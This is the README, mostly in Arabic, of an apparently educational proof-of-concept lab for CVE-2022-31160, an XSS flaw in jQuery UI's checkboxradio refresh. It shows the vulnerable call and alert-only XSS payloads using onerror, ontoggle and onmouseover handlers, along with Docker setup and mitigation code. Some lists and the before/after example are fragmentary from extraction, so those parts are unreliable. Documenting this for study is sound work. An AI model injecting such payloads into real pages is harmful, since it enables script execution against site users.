
jquery XSS Proof of Concept (PoC)
يعرض هذا المشروع ثغرة تحديث أداة Checkboxradio في jQuery UI (CVE-2022-31160)، والتي تسمح بفك ترميز كيانات HTML أثناء عمليات تحديث الأداة، مما قد يؤدي إلى هجمات البرمجة النصية عبر المواقع (XSS).
⚠️ يحتوي هذا المشروع على حمولات XSS فعلية لأغراض تعليمية وبحثية فقط.
عند تهيئة أداة checkboxradio على حقل إدخال داخل وسم label، يؤدي استدعاء .checkboxradio("refresh") على الأداة إلى فك ترميز كيانات HTML في محتوى label بشكل خاطئ. يمكن أن يحوّل هذا المحتوى الضار المُرمَّز بأمان إلى كود JavaScript قابل للتنفيذ.
<!-- Safe encoded content -->
<label for="checkbox">
Text <img src=x onerror="alert('XSS')">
<input type="checkbox" id="checkbox">
</label>
<!-- After .checkboxradio("refresh") -->
<label for="checkbox">
Text
<input type="checkbox" id="checkbox">
</label>
# Clone or navigate to the project directory
cd jquery-cve-2022-31160
# Build the Docker image
docker build -t jquery-cve-2022-31160 .
# Run the container
docker run -p 3000:3000 jquery-cve-2022-31160
بمجرد تشغيل الحاوية، يمكنك الوصول إلى:
jquery-cve-2022-31160/
├── README.md # This documentation
├── Dockerfile # Docker container configuration
├── package.json # Node.js dependencies
├── server.js # Express.js server
└── simplified-survey.html # Survey-style demonstration
simplified-survey.html)الرابط: http://localhost:3000/survey
الميزات:
<img src=x onerror="..."> - تنفيذ فوري<details ontoggle="..." open> - تنفيذ فوري<span onmouseover="..."> - تنفيذ تفاعليأدوات التحليل:
.checkboxradio("refresh")// Vulnerable operation
$('#vulnerable-checkbox').checkboxradio();
$('#vulnerable-checkbox').checkboxradio("refresh"); // Triggers vulnerability
تتضمن العروض التوضيحية حمولات متنوعة لاختبار طرق تنفيذ XSS المختلفة:
<!-- Network Security: Error event XSS (Immediate execution) -->
<img src=x onerror="console.log('XSS via widget refresh!'); alert('Widget refresh XSS executed!');">
<!-- Mobile Security: Details toggle XSS (Immediate execution) -->
<details ontoggle="alert('Mobile Security XSS executed!'); console.log('Mobile XSS via details ontoggle!')" open><summary></summary></details>
<!-- Cloud Security: Interactive XSS (User interaction required) -->
<span onmouseover="alert('Hover XSS executed!'); console.log('Cloud Security XSS via mouseover!')" style="text-decoration:underline; cursor:pointer;">[Hover to trigger]</span>
onerror)src=x)ontoggle)open)onmouseover)مزايا معالجات الأحداث:
innerHTML<script>ontoggle) موثوقة للغايةالتحايل على الترميز:
<, ") بواسطة تحديث jQuery UIdocker build -t jquery-cve-2022-31160 .
# Run on default port 3000
docker run -p 3000:3000 jquery-cve-2022-31160
# Run on custom port
docker run -p 8080:3000 jquery-cve-2022-31160
# Run in background
docker run -d -p 3000:3000 jquery-cve-2022-31160
# Run with custom name
docker run --name jquery-xss-demo -p 3000:3000 jquery-cve-2022-31160
# List running containers
docker ps
# Stop the container
docker stop jquery-cve-2022-31160
# Remove the container
docker rm jquery-cve-2022-31160
# Remove the image
docker rmi jquery-cve-2022-31160
يمكن استغلال هذه الثغرة في التطبيقات التي:
.checkboxradio("refresh")// Before refresh, sanitize or validate content
function safeRefresh(element) {
// Validate label content before refresh
const label = $(`label[for="${element.attr('id')}"]`);
const content = label.html();
// Check for potentially dangerous content
if (content.includes('<') || content.includes('javascript:')) {
console.warn('Potentially dangerous content detected');
return;
}
element.checkboxradio("refresh");
}
// Express.js security headers
app.use((req, res, next) => {
res.setHeader('X-Content-Type-Options', 'nosniff');
res.setHeader('X-Frame-Options', 'DENY');
res.setHeader('X-XSS-Protection', '1; mode=block');
res.setHeader('Content-Security-Policy', "default-src 'self'");
next();
});
يعمل هذا المشروع كمورد تعليمي لـ:
عند استخدام هذا العرض التوضيحي:
المساهمات مرحب بها! يرجى:
يتم توفير هذا البرنامج للأغراض التعليمية والبحثية فقط. المؤلفون والمساهمون:
يتم توفير هذا المشروع بموجب رخصة MIT للأغراض التعليمية.
أُنشئ لأغراض البحث والتعليم الأمني | استخدم بمسؤولية | أبلغ عن الثغرات عبر القنوات المناسبة